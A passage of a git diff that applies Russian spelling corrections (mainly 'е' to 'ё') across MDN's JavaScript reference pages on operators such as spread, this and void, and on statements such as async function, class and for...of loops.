не выбросит исключение, если метод не найден:</p> +<p>Использование <code>?.</code><strong> </strong>с вызовом функции значит, что выполнение автоматически вернёт <code>undefined</code>, а не выбросит исключение, если метод не найден:</p> <pre class="brush: js">let result = someInterface.customMethod?.();</pre> @@ -101,7 +101,7 @@ myMap.set("foo", {name: "baz", desc: "inga"}); let nameBar = myMap.get("bar")?.name;</pre> -<h3 id="Сокращенное_выполнение">Сокращенное выполнение</h3> +<h3 id="Сокращённое_выполнение">Сокращённое выполнение</h3> <p>При использовании оператора опциональной последовательности в выражениях, где левая часть операнда равна <code>null</code> или <code>undefined</code>, выражение не будет выполнено. Например:</p> diff --git a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html index ec069c9e24..3fee1a8a0d 100644 --- a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html +++ b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html @@ -58,7 +58,7 @@ double(increment(double(double(5)))); // 42 <tr> <td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td> <td>Этап 1</td> - <td>Еще не включен в спецификацию ECMAScript.</td> + <td>Ещё не включён в спецификацию ECMAScript.</td> </tr> </tbody> </table> diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html index c96be61337..1019bdd757 100644 --- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html +++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax var args = [0, 1, 2]; myFunction.apply(null, args);</pre> -<p>С <strong>spread syntax</strong> вышеприведенное можно записать как:</p> +<p>С <strong>spread syntax</strong> вышеприведённое можно записать как:</p> <pre class="brush: js notranslate">function myFunction(x, y, z) { } var args = [0, 1, 2]; @@ -58,7 +58,7 @@ myFunction(-1, ...args, 2, ...[3]);</pre> <h4 id="Apply_для_new">Apply для new</h4> -<p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с легкостью использован со словом <code>new:</code></p> +<p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с лёгкостью использован со словом <code>new:</code></p> <pre class="brush: js notranslate">var dateFields = [1970, 0, 1]; // 1 Jan 1970 var d = new Date(...dateFields); @@ -103,7 +103,7 @@ var lyrics = ['head', ...parts, 'and', 'toes']; // ["head", "shoulders", "knees", "and", "toes"] </pre> -<p>Аналогично развертыванию в массиве аргументов, <code>...</code> может быть использован повсеместно и многократно в литерале массива.</p> +<p>Аналогично развёртыванию в массиве аргументов, <code>...</code> может быть использован повсеместно и многократно в литерале массива.</p> <h4 id="Копирование_массива">Копирование массива</h4> @@ -147,7 +147,7 @@ var arr2 = [3, 4, 5]; // Prepend all items from arr2 onto arr1 Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre> -<p>С использованием spread syntax [Следует отметить, что такой способ создает новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p> +<p>С использованием spread syntax [Следует отметить, что такой способ создаёт новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p> <pre class="brush: js notranslate">var arr1 = [0, 1, 2]; var arr2 = [3, 4, 5]; @@ -183,11 +183,11 @@ var mergedObj = merge ( obj1, obj2); var mergedObj = merge ( {}, obj1, obj2); // Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre> -<p>В приведенном выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет <em>массив</em> аргументов в литерал <em>объекта</em> благодаря параметру rest.</p> +<p>В приведённом выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет <em>массив</em> аргументов в литерал <em>объекта</em> благодаря параметру rest.</p> <h3 id="Только_для_итерируемых_объектов">Только для итерируемых объектов</h3> -<p>Spread syntax ( кроме случаев spread properties) может быть применен только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p> +<p>Spread syntax ( кроме случаев spread properties) может быть применён только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p> <pre class="brush: js notranslate">var obj = {'key1': 'value1'}; var array = [...obj]; // TypeError: obj is not iterable diff --git a/files/ru/web/javascript/reference/operators/this/index.html b/files/ru/web/javascript/reference/operators/this/index.html index 59761d890e..b373d12fa1 100644 --- a/files/ru/web/javascript/reference/operators/this/index.html +++ b/files/ru/web/javascript/reference/operators/this/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Operators/this <p>Поведение ключевого слова <code>this</code> в JavaScript несколько отличается по сравнению с остальными языками. Имеются также различия при использовании <code>this</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">строгом</a> и нестрогом режиме.</p> -<p>В большинстве случаев значение <code>this</code> определяется тем, каким образом вызвана функция. Значение <code>this</code> не может быть установлено путем присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к <code>this</code> (они сохраняют значение <code>this</code> лексического окружения, в котором были созданы).</p> +<p>В большинстве случаев значение <code>this</code> определяется тем, каким образом вызвана функция. Значение <code>this</code> не может быть установлено путём присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к <code>this</code> (они сохраняют значение <code>this</code> лексического окружения, в котором были созданы).</p> <div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div> @@ -65,7 +65,7 @@ f1() === window; // window - глобальный объект в браузер f1() === global; // global - глобальный объект в Node </pre> -<p>В строгом режиме, если значение <code>this</code> не установлено в контексте выполнения, оно остается <code>undefined</code>, как показано в следующем примере:</p> +<p>В строгом режиме, если значение <code>this</code> не установлено в контексте выполнения, оно остаётся <code>undefined</code>, как показано в следующем примере:</p> <pre class="brush:js">function f2(){ "use strict"; // см. strict mode @@ -77,7 +77,7 @@ f2() === undefined; // true <div class="note">Во втором примере <code>this</code> должно иметь значение <code>{{jsxref("undefined")}}</code>, потому что функция <code>f2</code> была вызвана напрямую, а не как метод или свойство объекта (например, <code>window.f2()</code>). Реализация этой особенности не поддерживалась в некоторых браузерах, когда они впервые начали поддерживать {{jsxref('Strict_mode', 'строгий режим')}}. В результате они некорректно возвращали объект <code>window</code>.</div> -<p>Для того, чтобы при вызове функции установить <code>this</code> в определенное значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.</p> +<p>Для того, чтобы при вызове функции установить <code>this</code> в определённое значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.</p> <p><strong>Пример 1</strong></p> @@ -128,7 +128,7 @@ bar.call('foo'); // [object String] <h3 id="Метод_bind">Метод <code>bind</code></h3> -<p>ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов <code>f.bind(someObject)</code> создает новую функцию с тем же телом и областью действия, что и <code>f</code>, но там, где в исходной функции используется <code>this</code>, в новой функции оно постоянно будет связано с первым аргументом <code>bind</code>, независимо от того, как функция используется.</p> +<p>ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов <code>f.bind(someObject)</code> создаёт новую функцию с тем же телом и областью действия, что и <code>f</code>, но там, где в исходной функции используется <code>this</code>, в новой функции оно постоянно будет связано с первым аргументом <code>bind</code>, независимо от того, как функция используется.</p> <pre>function f() { return this.a; @@ -155,7 +155,7 @@ console.log(foo() === globalObject); // true</code></pre> <p>Note: если аргумент this передаётся в call, bind или apply при вызове стрелочной функции, он будет проигнорирован. Вы всё ещё можете добавить аргументы к вызову, но первый аргумент (thisArg) должен быть установлен в null.</p> </div> -<p>Неважно, как стрелочная функция <code>foo()</code> будет вызвана, её значение this будет указывать на глобальный объект. <code>this</code> будет сохранять свое значение, даже если функция <code>foo()</code> будет вызвана как метод объекта (что в обычных функциях связывает <code>this</code> с объектом вызова) или с использованием методов <code>call</code>, <code>apply</code> или <code>bind</code>:</p> +<p>Неважно, как стрелочная функция <code>foo()</code> будет вызвана, её значение this будет указывать на глобальный объект. <code>this</code> будет сохранять своё значение, даже если функция <code>foo()</code> будет вызвана как метод объекта (что в обычных функциях связывает <code>this</code> с объектом вызова) или с использованием методов <code>call</code>, <code>apply</code> или <code>bind</code>:</p> <pre><code>// Вызов функции как метода объекта var obj = {foo: foo}; @@ -170,7 +170,7 @@ console.log(foo() === globalObject); // true</code></pre> <p>Несмотря ни на что, <code>this</code> стрелочной функции <code>foo()</code> имеет то же значение, что и при создании функции (глобальный объект в примере выше). То же самое касается стрелочных функций, созданных внутри других функций: их <code>this</code> будет привязан к окружению.</p> -<pre><code>// Создаем объект obj, содержащий метод bar, который возвращает функцию, +<pre><code>// Создаём объект obj, содержащий метод bar, который возвращает функцию, // которая возвращает свой this. Возвращаемая функция создана // как стрелочная функция, таким образом её this постоянно замкнут // на this функции, в которой она создана. </code>Значение bar может быть установлено @@ -195,7 +195,7 @@ var fn2 = obj.bar; // потому что он следует за this из fn2. console.log(fn2()() == window); // true</pre> -<p>В примере выше, функция (назовем её анонимной функцией A), присвоенная методу <code>obj.bar</code>, возвращает другую функцию (назовем её анонимной функцией B) которая создана как стрелочная функция. В результате, <code>this функции B при вызове замкнут на</code> <code>this,</code> принадлежащий <code>obj.bar</code> (функции A). <code>this</code> функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, <code>this функции B</code> указывает на <code>this функции A,которым является</code> obj, таким образом this будет равен <code>obj</code> даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным <code>undefined</code> или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).</p> +<p>В примере выше, функция (назовём её анонимной функцией A), присвоенная методу <code>obj.bar</code>, возвращает другую функцию (назовём её анонимной функцией B) которая создана как стрелочная функция. В результате, <code>this функции B при вызове замкнут на</code> <code>this,</code> принадлежащий <code>obj.bar</code> (функции A). <code>this</code> функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, <code>this функции B</code> указывает на <code>this функции A,которым является</code> obj, таким образом this будет равен <code>obj</code> даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным <code>undefined</code> или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).</p> <h3 id="В_методе_объекта">В методе объекта</h3> @@ -213,7 +213,7 @@ console.log(fn2()() == window); // true</pre> console.log(o.f()); // logs 37 </pre> -<p>Необходимо отметить, что на поведение <code>this</code> совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства <code>f</code> во время определения объекта <code>o</code>. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить ее за за свойством <code>o.f</code>. В этом случае поведение <code>this</code> не изменится:</p> +<p>Необходимо отметить, что на поведение <code>this</code> совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства <code>f</code> во время определения объекта <code>o</code>. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить её за за свойством <code>o.f</code>. В этом случае поведение <code>this</code> не изменится:</p> <pre class="brush:js">var o = {prop: 37}; @@ -236,7 +236,7 @@ console.log(o.b.g()); // logs 42 <h4 id="this_в_цепочке_objects_prototype"><code>this</code> в цепочке object's prototype</h4> -<p>Это же представление справедливо и для методов, определенных где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то <code>this</code> ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.</p> +<p>Это же представление справедливо и для методов, определённых где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то <code>this</code> ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.</p> <pre class="brush:js">var o = {f:function(){ return this.a + this.b; }}; var p = Object.create(o); @@ -274,7 +274,7 @@ console.log(o.phase, o.modulus); // logs -0.78 1.4142 <p>Когда функция используется как конструктор (с ключевым словом <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> ), <code>this</code> связано с создаваемым новым объектом.</p> -<p>Примечание: по умолчанию конструктор возвращает объект, на который ссылается <code>this</code>, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращен объект с <code>this</code>).</p> +<p>Примечание: по умолчанию конструктор возвращает объект, на который ссылается <code>this</code>, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращён объект с <code>this</code>).</p> <pre class="brush:js">/* * Конструктор работает таким образом: @@ -312,7 +312,7 @@ o = new C2(); console.log(o.a); // logs 38 </pre> -<p>В последнем примере (<code>C2</code>), из-за того, что конструктор вернул объект, новый объект, к которому было привязано <code>this</code>, был просто отброшен. (Это фактически делает выражение "<code>this.a = 37;</code>" "мертвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)</p> +<p>В последнем примере (<code>C2</code>), из-за того, что конструктор вернул объект, новый объект, к которому было привязано <code>this</code>, был просто отброшен. (Это фактически делает выражение "<code>this.a = 37;</code>" "мёртвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)</p> <h3 id="call_и_apply"><code>call</code> и <code>apply</code></h3> @@ -335,7 +335,7 @@ add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16 add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34 </pre> -<p>Необходимо отметить, что если методам <code>call</code> и <code>apply</code> передается значение с <code>this</code>, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию <code>ToObject</code>. Если переданное значение является примитивным типом, например <code>7</code> или <code>'foo'</code>, оно будет преобразовано в объект с использованием родственного конструктора, так примитив <code>7</code> преобразовывается в объект через <code>new Number(7),</code> а строка <code>'foo'</code> в объект через <code>new String('foo'),</code> и т.д.</p> +<p>Необходимо отметить, что если методам <code>call</code> и <code>apply</code> передаётся значение с <code>this</code>, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию <code>ToObject</code>. Если переданное значение является примитивным типом, например <code>7</code> или <code>'foo'</code>, оно будет преобразовано в объект с использованием родственного конструктора, так примитив <code>7</code> преобразовывается в объект через <code>new Number(7),</code> а строка <code>'foo'</code> в объект через <code>new String('foo'),</code> и т.д.</p> <pre class="brush:js">function bar() { console.log(Object.prototype.toString.call(this)); @@ -382,7 +382,7 @@ for (var i = 0; i < elements.length; i++) { </button> </pre> -<p>В этом случае <code>this</code> вложенной функции не будет установлен, так что будет возвращен global/window объект.</p> +<p>В этом случае <code>this</code> вложенной функции не будет установлен, так что будет возвращён global/window объект.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/void/index.html b/files/ru/web/javascript/reference/operators/void/index.html index e415aacae7..998c138972 100644 --- a/files/ru/web/javascript/reference/operators/void/index.html +++ b/files/ru/web/javascript/reference/operators/void/index.html @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/Reference/Operators/void <h2 id="JavaScript_URIs">JavaScript URIs</h2> -<p>Когда браузер переходит по <code>javascript: URI</code>, он вычисляет код в <code>URI</code> и заменяет содержание страницы возвращенным значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором <code>void</code> для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p> +<p>Когда браузер переходит по <code>javascript: URI</code>, он вычисляет код в <code>URI</code> и заменяет содержание страницы возвращённым значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором <code>void</code> для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p> <pre class="brush: html"><a href="javascript:void(0);"> Click here to do nothing diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html index 966ea49b80..a956f73e66 100644 --- a/files/ru/web/javascript/reference/statements/async_function/index.html +++ b/files/ru/web/javascript/reference/statements/async_function/index.html @@ -81,7 +81,7 @@ add2(10).then(v => { <div class="warning"> <h4 id="Не_путайте_await_и_Promise.all">Не путайте await и Promise.all</h4> -<p>Функция <code>add1</code> приостанавливается на 2 секунды для первого <code>await</code> и еще на 2 для второго. Второй таймер создается только после срабатывания первого. В функции <code>add2</code> создаются оба и оба же переходят в состояние <code>await</code>. В результате функция <code>add2</code> завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования <code>Promise.all</code>. Если два или более Promise должны разрешаться параллельно, следует использовать <code>Promise.all</code>.</p> +<p>Функция <code>add1</code> приостанавливается на 2 секунды для первого <code>await</code> и ещё на 2 для второго. Второй таймер создаётся только после срабатывания первого. В функции <code>add2</code> создаются оба и оба же переходят в состояние <code>await</code>. В результате функция <code>add2</code> завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования <code>Promise.all</code>. Если два или более Promise должны разрешаться параллельно, следует использовать <code>Promise.all</code>.</p> </div> <h3 id="Когда_функция_async_выбрасывает_исключение">Когда функция <code>async </code>выбрасывает исключение</h3> @@ -136,7 +136,7 @@ throwsValue() } </pre> -<p>Заметьте, что пример выше не содержит <code>await</code> на <code>return</code>, потому что возвращаемое значение функции <code>async</code> неявно обернуто в {{jsxref("Promise.resolve")}}.</p> +<p>Заметьте, что пример выше не содержит <code>await</code> на <code>return</code>, потому что возвращаемое значение функции <code>async</code> неявно обёрнуто в {{jsxref("Promise.resolve")}}.</p> <h2 id="Спецификации">Спецификации</h2> @@ -165,7 +165,7 @@ throwsValue() <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.statements.async_function")}}</p> </div> diff --git a/files/ru/web/javascript/reference/statements/block/index.html b/files/ru/web/javascript/reference/statements/block/index.html index a6fb564aa7..c6d34377df 100644 --- a/files/ru/web/javascript/reference/statements/block/index.html +++ b/files/ru/web/javascript/reference/statements/block/index.html @@ -41,13 +41,13 @@ original_slug: Web/JavaScript/Reference/Statements/Блок <p>Обратите внимание, что блок инструкций не заканчивается точкой с запятой.</p> -<p>Блок инструкций часто называется <strong>сложной (составной) инструкцией</strong> в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространенная практика в JavaScript. Противоположное поведение - использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого оператора</a> там, где никаких действий не нужно, а оператор требуется.</p> +<p>Блок инструкций часто называется <strong>сложной (составной) инструкцией</strong> в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространённая практика в JavaScript. Противоположное поведение - использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого оператора</a> там, где никаких действий не нужно, а оператор требуется.</p> <h3 id="Правила_области_видимости_блока">Правила области видимости блока</h3> <h4 id="С_использованием_var">С использованием <code>var</code></h4> -<p>Переменные, объявленные через <code>var</code>, <strong>не</strong> <strong>имеют</strong> блочной области видимости. Переменные, введенные внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:</p> +<p>Переменные, объявленные через <code>var</code>, <strong>не</strong> <strong>имеют</strong> блочной области видимости. Переменные, введённые внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:</p> <pre class="brush: js example-bad">var x = 1; { diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html index 6e772f9c6a..507c13cb10 100644 --- a/files/ru/web/javascript/reference/statements/class/index.html +++ b/files/ru/web/javascript/reference/statements/class/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/class --- <div>{{jsSidebar("Statements")}}</div> -<p><strong>Class declaration</strong> создает новый класс с данным именем на основе прототипного наследования.</p> +<p><strong>Class declaration</strong> создаёт новый класс с данным именем на основе прототипного наследования.</p> <div class="noinclude"> <p>Можно так же определить класс, используя {{jsxref("Operators/class", "class expression", "", 1)}}. Но в отличие от class expression, class declaration не позволяет снова объявить уже существующий класс, это <strong>приведёт к ошибке типа</strong>.</p> @@ -54,7 +54,7 @@ class Square extends Polygon { class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared </pre> -<p>Та же ошибка будет вызвана, если класс был определен перед использованием class declaration.</p> +<p>Та же ошибка будет вызвана, если класс был определён перед использованием class declaration.</p> <pre class="brush: js notranslate">var Foo = class {}; class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared diff --git a/files/ru/web/javascript/reference/statements/do...while/index.html b/files/ru/web/javascript/reference/statements/do...while/index.html index f6707b4b04..6a2aa31f07 100644 --- a/files/ru/web/javascript/reference/statements/do...while/index.html +++ b/files/ru/web/javascript/reference/statements/do...while/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/do...while --- <div>{{jsSidebar("Statements")}}</div> -<p>Выражение <strong><code>do...while</code></strong> создает цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.</p> +<p>Выражение <strong><code>do...while</code></strong> создаёт цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.</p> <p>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</p> @@ -23,7 +23,7 @@ while (<em>условие</em>); <dl> <dt><code>условие</code></dt> - <dd>Выражение, которое вычисляется после каждого шага цикла. Если <code>условие</code> истинно, то <code>выражение</code> выполняется еще раз. Когда <code>условие</code> ложно, выполняется выражение, следующее после <code>do...while</code>.</dd> + <dd>Выражение, которое вычисляется после каждого шага цикла. Если <code>условие</code> истинно, то <code>выражение</code> выполняется ещё раз. Когда <code>условие</code> ложно, выполняется выражение, следующее после <code>do...while</code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/statements/empty/index.html b/files/ru/web/javascript/reference/statements/empty/index.html index 3792c035bc..64aee27def 100644 --- a/files/ru/web/javascript/reference/statements/empty/index.html +++ b/files/ru/web/javascript/reference/statements/empty/index.html @@ -39,7 +39,7 @@ console.log(arr) killTheUniverse() // Это всегда выполняется!!! </pre> -<p>Другой пример: <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> без фигурных скобок (<code>{}</code>). Если <code>three</code> истинно, ничего не произойдет, <code>four</code> не важна, и функция <code>launchRocket()</code> тоже не запустится.</p> +<p>Другой пример: <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> без фигурных скобок (<code>{}</code>). Если <code>three</code> истинно, ничего не произойдёт, <code>four</code> не важна, и функция <code>launchRocket()</code> тоже не запустится.</p> <pre class="brush: js">if (one) doOne(); diff --git a/files/ru/web/javascript/reference/statements/for-await...of/index.html b/files/ru/web/javascript/reference/statements/for-await...of/index.html index 9ed679ace7..d5a6b93e35 100644 --- a/files/ru/web/javascript/reference/statements/for-await...of/index.html +++ b/files/ru/web/javascript/reference/statements/for-await...of/index.html @@ -77,7 +77,7 @@ translation_of: Web/JavaScript/Reference/Statements/for-await...of // 1 // 2</pre> -<p>Для более конкретного примера перебора асинхронного генератора с помощью <code>for await... of</code>, рассмотрим перебор данных из API. В этом примере сначала создается асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.</p> +<p>Для более конкретного примера перебора асинхронного генератора с помощью <code>for await... of</code>, рассмотрим перебор данных из API. В этом примере сначала создаётся асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.</p> <pre class="brush: js">async function* streamAsyncIterator(stream) { const reader = stream.getReader(); diff --git a/files/ru/web/javascript/reference/statements/for...in/index.html b/files/ru/web/javascript/reference/statements/for...in/index.html index 24d7434f81..18ffee0e24 100644 --- a/files/ru/web/javascript/reference/statements/for...in/index.html +++ b/files/ru/web/javascript/reference/statements/for...in/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...in <h3 id="Удаление_добавление_и_модификация_свойств">Удаление, добавление и модификация свойств</h3> -<p>Цикл <code>for...in</code> проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удаленное до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.</p> +<p>Цикл <code>for...in</code> проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удалённое до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.</p> <h3 id="Проход_по_массиву_и_for...in"><code>Проход по массиву и for...in</code></h3> diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html index fdf8799529..cd4447e59f 100644 --- a/files/ru/web/javascript/reference/statements/for...of/index.html +++ b/files/ru/web/javascript/reference/statements/for...of/index.html @@ -213,7 +213,7 @@ for (var value of iterable) { <p>Для {{jsxref("Statements/for...in", "for...in")}} обход <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Enumerability_and_ownership_of_properties" title="перечисляемые свойства">перечисляемых свойств</a> объекта осуществляется в произвольном порядке.</p> -<p>Для <code>for...of</code> обход происходит в соответствии с тем, какой порядок определен в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">итерируемом объекте</a>.</p> +<p>Для <code>for...of</code> обход происходит в соответствии с тем, какой порядок определён в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">итерируемом объекте</a>.</p> <p>Следующий пример показывает различия в работе циклов <code>for...of</code> и <code>for...in</code> при обходе {{jsxref("Array")}}.</p> @@ -237,7 +237,7 @@ for (let i of iterable) { console.log(i); // выведет 3, 5, 7 }</code></pre> -<p>Разберемся шаг за шагом в вышеописанном коде.</p> +<p>Разберёмся шаг за шагом в вышеописанном коде.</p> <pre class="notranslate"><code>Object.prototype.objCustom = function() {}; Array.prototype.arrCustom = function() {}; @@ -251,7 +251,7 @@ iterable.foo = 'hello';</code></pre> console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom" }</code></pre> -<p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта <code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являются <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы еще не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p> +<p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта 